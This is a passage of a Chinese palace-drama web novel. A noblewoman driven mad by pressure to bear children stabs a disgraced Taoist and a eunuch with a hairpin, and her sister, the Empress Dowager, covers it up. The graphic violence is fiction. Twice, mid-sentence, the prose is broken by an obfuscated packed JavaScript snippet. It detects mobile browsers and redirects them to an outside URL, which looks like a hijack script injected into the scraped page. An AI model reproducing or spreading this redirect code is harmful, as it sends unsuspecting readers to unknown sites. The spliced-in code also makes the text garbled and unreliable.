以前,她总是恨自己为何怀不上,恨谢既怎么这样没用,这会儿听了姐姐的话,她又忍不住在心中幻想有了个孩子究竟是什么感觉。 一个又哭又闹的丑孩子,在她怀里哇哇大哭。 崔明意没生育过,但她见过那些男婴,老实说那些肉乎乎的身体在她眼里和虫子没有任何区别,当初求子心切她试过许多狠毒的方法,其中还包括将孩子剁碎包饺子。 福真当时吓得哭了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996140|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,求崔明意不要这样做,崔明意很困惑:“我怀不上啊!大家都希望我有孩子,希望我做贵女典范,我不吃到肚子里,怎么会有孩子呢?” 她问话是神情那样的认真,好学的神色像一个懵懂求知的学生。 后来是谢既赶回府将那碗摔了,抱着她确认她不曾吃到肚子里,他仿佛劫后余生:“不要孩子了,咱们不吃这些……” 崔明意不记得当时的自己是什么表情,她一度被想拥有孩子的念头逼到崩溃,可为何每次她付出努力,却总不被旁人认可? 不生孩子也可以是贵女典范么,她不知道……她希望母父对她满意。 原本在崔仪身旁待了段时日,崔仪已忘却那些事,然而那终究只是逃避,她最后还是要回到那地方。 “又哭又闹,会很吵。”崔明意没头没尾地说了句,“安静的,又很丑。” 她真的想要自己的肚子里有那样一条虫子,吸她的血吃她的肉长大,然后她还要抱起来献给母父,告诉二老这是她最后一项课业,二位可以安心了。 这辈子真要如此吗? 越想,崔明意越觉着恶心,积压在心口多日的不安和惶恐都在此时此刻爆发。 她作呕,想吐。 若是从前想吐,她不会伤心,反倒欣喜若狂打算迎接自己的孩子,可今日她知晓了,原来她根本就不喜欢孩子,也不希望肚子里长一条虫子。 一旦有了这年头,呕吐的念头已挥之不去,宫女见状连忙带她下去,崔明意一边走一边干呕,仿佛体内真的有虫子在乱爬,她只想清空身躯。 崔仪担忧地望着她的背影,跟上去几步:“这是怎么了?” 早知崔明意脑袋不正常,但已数日不见端倪,还以为收敛许多,可面前的她这会儿面容苍白,流了一脸的虚汗,吐了几回后终于逼出秽水,在花园旁撑着身子发抖。 “明意!”崔仪懵了,回过神让人去唤御医。宫里的太监往外跑,侍女往里围,将崔明意的身躯围在里头,打湿的手帕和装了热水的杯盏往里送,即便如此,崔明意还是久不见好。 若是寻常的呕吐也就罢了,兴许只是吃坏了东西,找御医看了就不要紧。但崔明意那边传来凄惨哭声,若不是众人目睹了前后经过,还只当太后与她吵了架。 惜云看出些门道,摇头不语。 崔仪的心悬起来望着那边,她走上前想拍一拍妹妹的背,帮她顺顺气,可七手八脚的侍女们围城一团。人群内,崔明意不断颤抖,手掌撑在树干上,指腹已磨出了血,她的五脏六腑都要被吐出来,恶心的感觉依旧挥之不去,她分不清究竟是激烈的反胃让她流泪,还是崩溃的情绪难以维系。 人就是这样垮的,吐到最后没力气了,漱口擦脸被抬回宫内已说不出话,只是不断流泪、发抖。 御医奔入殿内,见此情状二话不说上前号脉。 先前看崔明意吐得这样厉害,崔仪心中怀疑过一瞬间她是否有了身孕,可是见崔明意这样的状态,崔仪立马打消了这个念头。 即便妹妹真的有了“梦寐以求”的孩子,恐怕也留不住,她不喜欢孩子,称得上憎恶。 好在,御医看了没一会儿,就说出一个让崔仪舒了口气的消息:“这位夫人并非有孕,但……” 后面的话让人竖着耳朵等了许久,诊脉的手指都换了几根,崔明意只是喘着气,一言不发。 “但她忧思成疾,心肺郁结,执念太深,易入魔障……”提到此类病症,御医好言相劝,“这病不难治,只是身边人定要多加开导,不可再逼迫她。” 逼迫,崔仪认真回忆,做女官是逼迫?亦或是生孩子是逼迫?还是母亲父亲对崔明意的厚望是一种逼迫? 御医的意思她清楚,无非是心疾,从前府上也给崔明意请人看过,得出的结论往往大差不差。 以往崔仪没当回事,疯子这样的东西,谁家没用,她本以为无非是阴晴不定了些,今日见崔明意发作,担忧之余生出些惊恐。 写了药方,御医才退下。 病成这样,今日得送崔明意回去了,她此刻还是白着脸,一双眼无神地看向崔仪,眼泪早就流干了,崔仪正想安慰她几句,却听见对方先开了口。 “姐姐,”她说,“我真羡慕你。” 我真羡慕你。 崔仪不明白这句话的意思,她愣在原地,看着崔明意远去的背影。 我也羡慕你。 她在心里悄悄回答。 总之,崔明意就这样在宫里惊天动地地搞了这样一出,崔仪虽然没让消息往外出传,却还是吃一堑长一智。 索性后来回禀的太监说崔明意回府上后恢复了精力,谢既也匆匆回去陪她,崔仪虽不知两人说了什么,隔了一日再见到崔明意时,妹妹的气色好了些,神容来看也稳定许多。 崔仪谨慎问她:“你还要帮我收拾那些奏折吗?” 崔明意正是为此事而来,想也不想就颔首道:“要。” 她落座之后,并不着急动手,而是歉疚:“那一日吓到你了?” 考虑到她的状态,就是吓到也不能说出口,崔仪含糊道:“还好,军中入魔障的将士比这吓人得多。你如今身子可大好?此事可曾告诉母亲?” 崔明意如实告诉她:“我这病历来如此,告诉母亲,只会让她担忧,不如不说。” “总得有人说呀……”崔仪提议,“就告诉你夫君吧,他最疼你,京中谁都知晓。” “哼,”崔明意似乎不这样想,“他若是疼我,怎么不把自己阉了,到时候全天下都晓得是他生不出,成了我有心无力的美名。” 崔仪叹为观止:“从来不知你脑中有如此多的想法。” 那怪卫家以前那些疯子时常闹得朝野不宁,疯子登上大位,不仅精力旺盛还想法奇多,常人不能与其比较,也跟不上他们。 玩笑归玩笑,崔明意虽说了这样一番话,身体还是不免虚弱了些。 有时折子多,批得晚了,崔仪会留她用膳,让她多吃些,崔明意并不推辞。 二人的关系较崔仪成婚那几年要缓和一些,至少见面不会冷嘲热讽怪里怪气,尽管从前都是崔明意单方面的行为。 这一日午后,崔明意从太后宫中出来,午间吃得撑,她带上福真在宫中散步消食。 宫中修缮的另一半就要竣工,只剩下擦洗打扫的活儿不曾干完,崔明意绕着转了一圈,发现比起以往也不曾有太多改动,略感失望,转身正要打道回府,不料在此处遇到个不速之客。 将要竣工的楼宇旁,绿荫中一点紫檀色,正是王厌站在那里,似在眺望楼台。 崔明意心中一紧。 王厌? 他怎么会在这里,不是说被关入宫牢了吗? 崔明意不可置信地打量王厌,他衣衫华美,发丝光滑如绸,俊秀的脸不见任何劳苦的痕迹,哪里像被押入牢中之人? 脑海中“轰”一声爆发尖锐的动静,崔明意不受控制地往前迈了几步,走到王厌身前。 王厌也注意到了她,被她的行为吓得冷了一瞬,本能后退两步。 崔明意从前是道观的常客,又是崔仪的妹妹,他自然认得她,只是眼下身份尴尬,不知如何称呼彼此,他尚在斟酌,对方却主动开口。 “你为何在此处?”崔明意连续问了两遍,“你为何在此处,王厌。” 直呼名讳,是已失了礼节,带着冒犯的意味。 王厌不知她为何发难,他与崔明意全无交集,只知道对方是个文文弱弱才名在外的贵女,没想到一开口如此咄咄逼人。 “太后留我在此。”他答完这话,转身就要走,因直觉不妙,崔明意眼神不善。 福真也察觉到什么,小声喊了句:“夫人。” 崔明意恍若未闻,看着王厌转过身的背影,怒火更上心头。 为什么王厌可以这样堂而皇之地在宫中享福? 为什么他做了那样的错事,依旧活得好好的? 为什么他不曾付出半分努力,只是因为出生时的异象,就受到了这样多人的喜爱? 就连姐姐也这样!姐姐总这样! 只有自己要挤出缝隙里的时间拼凑起来,完成冗杂的课业之后抽空去找姐姐玩儿,只有她不能像个正常的孩童一样有玩耍的时间。 崔明意握紧掌心,过去一桩桩一件件的事都浮现在她脑海中。 少女时,为了和姐姐一块儿骑马射箭,她不得不将课业排得很紧,那时她正是长身子的年岁,琴棋书画四书五经每样都要学,有时为了挤出那一点时间,她一整日只能睡一个时辰,还不能对任何一门疏忽,因为她不想看到母亲失望的眼神。 就那样一点点的功夫,少得可怜,像是从指缝里捏碎了被施舍的,一天那么多时辰,她只有那一阵是快乐的。 可是别人总能轻易和姐姐分享这种愉悦,别家的郎君女郎能,甚至连马奴都能。 为什么只有自己不行呢? 崔明意听见的沉重的喘息声,那是她发出来的。 她好痛苦,好想求一个缘由,为何她的一切都要这样努力才能握住,为何别人总能毫不费力地陪伴在姐姐身边…… 尖锐的蜂鸣让她失去理智。 王厌还没走出几步,就听见身后传来急促的呼吸声与脚步声,他在事发前已预料到不妙,却还是被人拽住了衣襟。 崔明意不知哪来那样大的气力,将王厌拽到在地,拔出簪子朝他咽喉刺去。 “夫人!”福真想尖叫,又想起上回的事,趁着还不曾引起旁人注意,含泪往崔仪宫中去。 王厌身旁也跟着个太监,不过太监瘦弱,事发太过突然,一时没回过味儿,锋利的簪子已经像王厌的喉咙扎去第一下,王厌本能地躲避,随后看清那利器后,眼神有一瞬的解脱,任由崔明意下手。 崔明意也没心软,抬起手又落了第二下,只是这回被太监给拉住了胳膊,偏了一寸,冰冷的簪子在王厌脸上划出一道刺目的猩红。 “这……这……谢夫人……!”太监拼命将簪子抢夺过来,崔明意和他争执了一阵,将太监也打伤了,她重新站起身,崩溃地将人推开,脚掌擦在王厌的手指上。 “为什么要拦着我?”她握着簪子扎入太监的心口,“为什么拦着我,一个两个都想与我作对,怎么不去阻止旁人,为何?” 她一脚下去,王厌只觉得手指传来钻心的疼痛,崔明意到这时才发现她脚底下踩着对方的手掌,一不做二不休将簪子扎入他的掌心。 “说话啊王厌,”她狰狞地看着他,“你是不是认为自己很可怜?很无辜?告诉我,你为何完好无损地在这宫内,为何你什么都不用付出就能过得这样好,你知道姐姐对你多好么!” 王厌起初是不敢说话,这会儿是说不出啊,手掌被银器扎穿之后,崔明意不曾停手,将埋在血肉里的簪子拔出,再次捅了一遍。 剧烈的疼痛中,他听见崔明意说崔仪对他很好。 他无从分辨真假,事已至此只觉得可笑,于是不知不觉露出一抹笑,大约是这笑意惹怒了崔明意,她将他的另一只手掌也扎穿,毫不留情,极为熟稔。 “你不说话,是觉得自己清高吗?”她举起手,最后一次对准了他的心口,“若是你真的这样清高,就不会活着出现在这里,我若是你,早就去死了!你不配活着!今日,我帮你解脱!” 她蹲在王厌身旁,满意地看着他那张被毁掉的半张脸,沾满血迹的簪子戳向王厌胸口。 听见血肉开绽的声音,她癫狂地笑了起来,越笑越大声,只可惜簪子未能见底,被赶过来的太监曹志拉住了她的手。 王厌此刻已躺在血污中,脸上不断流血,双手更是血肉模糊,心口的伤虽刺得不深,可对他这样本就虚弱的身躯来说,任何伤都是致命伤。 “明意!”崔仪远远见到这场面,脑中也是一片空白,她勉强稳住眼前的情况,见王厌还有一口气,让曹志将人抱回宫中请御医前来诊治。 “明意,你在做什么?”地上的血迹昭示着方才发生了何事,崔仪仍然觉得不可思议,难道妹妹和王厌有什么仇怨吗?不应当啊,她全无印象,这两人应当几乎没有交集才对。 接连两声的呼喊终于让崔明意回过神,她看见手心的簪子,满手的血迹,又见地上一团一团的血迹,片刻前她发疯伤人的回忆涌现到眼前,她吓得丢掉手中的簪子,跪坐在地上摇头。 “阿姐……阿姐……”崔明意哭了起来,“我不是有意的阿姐……刚才不知怎么,我只是,我只是太羡慕他,太嫉妒他……” 哭泣解决不了问题,王厌本是罪臣,伤他又不是直接杀了他,这件事勉强还压得住,崔仪用最快的思路弄清楚眼前的情况。 “莲心,你命人将地上收拾干净。惜云,今日所有外宫的宫女太监见到此事的都务必看好口风,若有必要,即刻斩杀。” 崔明意仍然在地上不断发抖,她做过更残忍的事,只是害怕面对姐姐异样的眼神。 然而这一次,崔仪还是没有说话,只让人将她带下去收拾。 那双手满是血污,衣裙也弄脏了,莲心给她裹了件斗篷,以免叫人察觉,一路让侍女带着崔明意回了太后殿里。 崔仪在原处站了一会儿。 崔明意是她的妹妹,是太师的女儿,是谢既的夫人。 王厌,太傅的嫡孙,但对王家已经没什么利用价值。 两相对比,孰轻孰重一目了然,她其实连这片刻的犹豫都不应当有。 她必须保下崔明意,而王厌……想到他方才躺在血泊中的模样,崔仪心中也是一阵不忍和剧痛,只是事情已经发生,此刻她只想王厌能快些醒来,不要出事。 打定主意,崔仪快步去了王厌宫殿,还未进里头,就见一盆盆血水往外泼洒,她让身边的人也跟进去伺候,随后缓缓迈入殿内。 因伤势太重,曹志请了两位御医一同看诊,此刻房内的王厌血色全无,灰败躺在那里,仿佛已经死了,崔仪甚至不敢说话,生怕听见他已死的消息。 事发突然,病况要紧,两个御医也没来得及向崔仪行礼,只专注看伤势,房内的人进进出出。 王厌伤了四处,双手都被扎穿了,右手还被扎了两回,左脸面颊也被开了个口子,鲜血如注,方才躺在地上时吓坏了崔仪。 她不想他出事。 此事是她疏忽,但她不懂,不懂为何崔明意对王厌的恨意从何而来? 看着他那双漂亮的手被扎得血肉模糊,莫要说留疤了,往后能否弹琴写字也是两手。 胸口的致命伤,崔仪不敢多想,若是王厌就这样死了——就这样死了,她能如何? 她不知道那个答案。 崔仪从来不信鬼神,不信道家神仙,直到此刻却也忍不住在心中祈祷发愿,希望王厌平安无事,千万不能就这样死了,他这样恨她,当然要醒过来报仇。 眼见太医将他手上的伤口包扎,心口的血也止住,这才有一人上前道:“太后,道长脸颊上的伤并不要紧,只是以后会留疤。心口刺得浅,命也保住了,以后千万不可再受重伤……唯有一点,就是他的右手刺入筋脉,恐怕以后再也不能读书作画,重话也不能做了。” 早就有此猜测,崔仪颔首,得知他性命无虞,她转身走到院中,失神地坐下。、 眼泪早已无声而落。 原来她会落泪,崔仪伸手擦去泪水,她从前什么都不怕,现在居然怕一个人会死。 漫长又煎熬的等待不知过了多久,两位御医久久不曾出来,反倒是崔明意已经换好衣裳回来,她跪在崔仪面前,低声哭泣:“阿姐,我错了。” 崔仪让她起来,语色尽量维持着镇定:“你?你错什么了,王厌戴罪之身,何须你这样下跪,站好。” “阿姐……”分不清崔仪说的是真话还是假话,崔明意哭哭啼啼道,“我一时鬼迷心窍,看不得他大摇大摆走在宫中,我、我没想杀了他,你相信我。” “他还没有死,”崔仪将痛苦的情绪剥离,此刻冷静地可怕,“以后也不会死。现在,我只想问你,究竟为何对他这样下手?” “我,我只是。” 崔明意现在想来也觉得那缘由太可笑了,只是因为姐姐对他好,她就要杀人吗?崔明意无力分辨对与错,在崔仪平静的注视下,一股脑儿说了出来:“我只是羡慕他什么都不用做也能在宫中常常见到你,羡慕他那样轻松就被家里的人捧在天上,犯了欺君罔上却连牢狱都不用坐……我只是一时糊涂,阿姐,你不要怪罪我。” 预料中的痛骂并没有到来,崔仪亲自伸手将她扶起来,颔首:“我明白你的意思了,明意,此事不可再犯。你也不必入牢狱之灾,此刻你和他受到的宠爱一样了。” 过了一会儿,她继续道:“其实你那样的日子许多人都很羡慕,你若不喜欢,就不要再逼自己,我相信母父会体谅你。” “不,不会的,”崔明意摇头,“阿姐是不是生气了,我以后再也不做这种事!” 崔仪只回答了其中一个问题:“他们会的,母亲从未管过我,父亲从前也不那样喜欢我,我一样活得好好的,他们若是不喜欢你了,那实在是小事一桩。” 她伸手将她散乱的发髻打理好:“冷静下来,不要哭。” 院子里除了御医的吆喝,很少能听见其他动静,崔明意渐渐冷静下来,站在崔仪身旁,听见来来往往的太监说王厌的确不曾死,才放松些。 其实她根本不在乎王厌有没有死,但是他的生死会影响到姐姐往后如何看她,母亲父亲往后如何看待她。 王厌,你可千万不要死啊。 崔明意在心里祈祷。 日头渐渐落下,将要入夜,崔仪扶额道:“惜云,将明意送出宫。” 臣妇时常留在宫中到底不好,惹人议论,惜云领命上前带着依依不舍的崔明意出宫。 院子里的血腥味消散几分,两个御医终于提着药箱出来,只是为难道:“太后,道长伤得眼中,今夜臣要在此处守夜,只怕有什么闪失。另外,他的手与脸受的伤,所用药材极其名贵,不知……” “无论要用什么药材,只管去取,就说是本宫的口谕。”她长叹,“如何,人醒了吗?” 御医摇头:“太后说笑了,道长身子本就不好,又久病初愈,受了这样的重伤怎会转醒?幸而不影响性命,只是脸和手上,实在……” 王厌啊,从小被人夸赞好相貌,生若玉山之美,那张脸让人挑不出一丝一毫的错处,今日居然就这样被毁去了面容。 又想到他曾经为了让那双手足够好看,夹着木板活了好几年,也在一朝被毁去。 不知他是否会怨恨痛苦,也不知他能否原谅。 待他好转些,让崔明意过来给他赔个不是吧……这个念头又被崔仪打消了,崔明意本就讨厌王厌,再强行让他道歉,改日不知要如何折磨王厌。 还是就这样吧,就让王厌留在这小小的院落中,将他锁起来,这样他再也无法伤害自己,也不会被他人伤害。 崔仪知道这个念头很自私,可她曾目睹过王厌毫无求生欲望的模样,跟随他的小太监也说王厌当时根本不打算躲,他一心求死,而她别无他法,只能这样困住他。 夜渐渐深了,崔仪独自坐了许久,也不觉饥饿,直到宫人来报,说陛下来了,她才回过神, 卫秀还让宫人备了餐食,锦盒中装满了御膳,香味钻入崔仪的鼻尖,她不饿,也没心思吃饭。 似乎猜到她的想法,卫秀虽然不曾过多问及此事,但还是坐在崔仪对面,替她打开食盒。 “母后常说人无论遇到什么事都不能亏待自己,既然道长不曾死,母后也不应当意志消沉。” 各色各样的菜式摆到她面前,卫秀微笑道:“先用膳吧,母后。” 26. 苏醒 明月如盘,回廊深彻。 崔仪站在檐下,手中书页被风翻动。 惜云将外头的灯吹灭,只剩下几盏微弱烛火,她悄声走到崔仪身后,将书信交上。 “莲心出宫去了。” 两日后是新的祭典,崔仪和卫秀又要到观中住着,趁此时机让莲心出宫接人是最合适的时机。 她接过书信,没急着看。 “那边儿如何,醒过来没有?” 心知她问的是王厌,惜云轻叹:“大夫说他伤得太重,还在昏睡。” 早就猜到这结果,崔仪只是不死心地问了一嘴,意料之中的消息,并不曾引起她面上的波澜。 起初的震惊和担忧已经淡化,崔仪这会儿想的是崔明意的事。 经此一遭,见着王厌苍白的脸,崔仪恍惚想起多年前被妹妹杀死的马奴。 若是因这事去问,崔明意定然会说出差不多的答复,好比如她多么嫉妒姐姐,嫉妒旁人。 嫉妒还可以这样用,崔仪想笑又笑不出来,崔明意的出身不仅比府上的旁人好,整个上京都论不出多少人比她更受宠,原来她也会真切羡慕旁人拥有那样微不足道的东西。 “明意,真是个奇人。”她失笑两声,神情晦暗。 翌日早,晨露新坠,崔仪换上宫服,在微冷的晨风中逐渐清醒。 卫秀宫里来的小太监正跪在阶下,头也不敢抬:“道长半个时辰前醒了,喝了些药,又昏睡过去。” 崔仪走过玉阶台,面不改色地往外,只让人起来。 她得先去上朝,没空去看王厌,反正人也刚睡下,索性让他继续晕着。 因上一回祭礼出了岔子,群臣上书,让陛下与太后亲临,其余的臣子家眷不宜掺入此事,只等候在祭台下,以免人多事杂。 卫秀犹豫几息:“祭礼是为了祈福,朝臣也为了百姓做事,怎能不让你等上前。” 大臣跪在地上恭敬道:“陛下是天子,只要陛下在,民心亦在。” 珠帘后,卫秀转脸用眼神询问崔仪,得到应允,他才继续和大臣议事。 年少懵懂时,崔仪总是听院子里的下人们说父亲上朝下朝的事,她认为上朝是一件极为严肃庄重的事,今日自个儿坐在上头,半点没有那样的紧张感。像这样没有要紧事情的日子,双方都不过是走过场。 下朝后,卫秀匆匆奔往书房,崔仪独自前往王厌的居院。 厚重的药味儿飘至院外,苦涩的气味入鼻,崔仪稍稍蹙眉,带着一群人进了院子里。 昨夜守在此处的太医正在和另一个小太监给王厌喂药,伤得太重,要喝得要也不止一碗。 她站在门外看着,太医在侍女的带领下出来,行礼后说起了王厌的伤势,先是一句:“他能醒得这样快,真是让人意料不到。” 崔仪问起此话何意,老太医一一道来:“道长虚不受补,久病初愈,身子本就羸弱。昨日伤后,血虚气弱,换身子硬朗的寻常人来,也得昏迷个三五日,道长竟醒得这样快。” 仔细想来确是这个理,崔仪沉思担忧:“莫非他是回光返照?” 人死之前,或有此事。 “非也,非也,”太医擦了擦额间冷汗,“并无气绝之征。” 崔仪不置可否,让他下去歇息。 门内的药味挥之不去,支起窗扉也无济于事。 王厌正侧着脸卧躺于榻,为方便上药,他的长发被束于脸旁,面颊上涂抹着软膏,一时竟分不清他的脸色和白纱哪个更白。 他的神色很平静,双手也被纱布裹住,动弹不得,只静静躺着,睫羽偶尔颤动。 崔仪和他四目相对,心中难免忐忑,对方却不说话,并无责怪的神色,就连崔明意为何对他发难也不关切。 看来是真的不想活,崔仪原本平和的心境在见到他这副模样后,无端生出几分怒意。 然而这件事终究是他受了些委屈,崔仪尽量缓和语态:“还疼么?伤势如何。” 漆黑的眼珠随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028561|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的动作微微移动,王厌只道:“有劳挂念。” 崔仪静默:“你心中有怨有气,尽可宣泄,不必如此。此事是明意做得不对。” 他声色虚浮,一字一句说得很慢,极费力的模样。 “如今是戴罪之身,不过是任凭处置,”王厌轻飘飘将昨日的事带过,“不足挂齿,太后走这一遭多余了。” 人经大事,往往会选择逃避,崔仪全然明白,因此不与他较真。 “不用刻意说这种话。” 她垂着眼眸,见王厌容貌尽毁的脸,又看向他受伤的手,也忍不住有些哽咽和唏嘘:“好在往后不用你行文作字,你可安心陪在我身边,身子总会养好的。” 她又提此事,王厌依旧平淡,只无言相对,应了一声,好似真的对她无恨无怨。 “嗯?”崔仪奇怪,“为何一言不发?” 被妹妹打得脑袋也不好了? 王厌无奈道:“……昨日随行的太监出手相助,我记得他也被伤了,不知伤势如何?” 他没那个气力据理力争,说起话萎靡虚弱。 “你自身难保,还有余力想着旁人,”崔仪拿他没办法,安慰他,“小太监身子比你硬朗,虽受重伤,好在性命无碍。” 屋内的药味儿被吹散些,崔仪坐到软靠上,轻轻将手指搭在他尚且完好的指背。 王厌轻颤几下,长睫垂下,受了伤无法行动。 崔仪也没想做什么,只是难免替他心痛,又恨他连心中怨言也不肯诉说一二。 两人僵持许久,好一会儿,王厌才勉力道:“太后当年说想要太平盛世,若你当真有心,如何能纵容崔明意这样的性情?我是罪臣,下人却无辜,草菅人命之举,你从前最看不起。” “我何时看不起?”崔仪顺着他的话回忆,她不认同妹妹的做法,只是身旁人大多如此,不过是装聋作哑,只当不知。 “呵……”王厌不怒反笑,胸腔剧痛,“连你自己都忘记了当日之言。”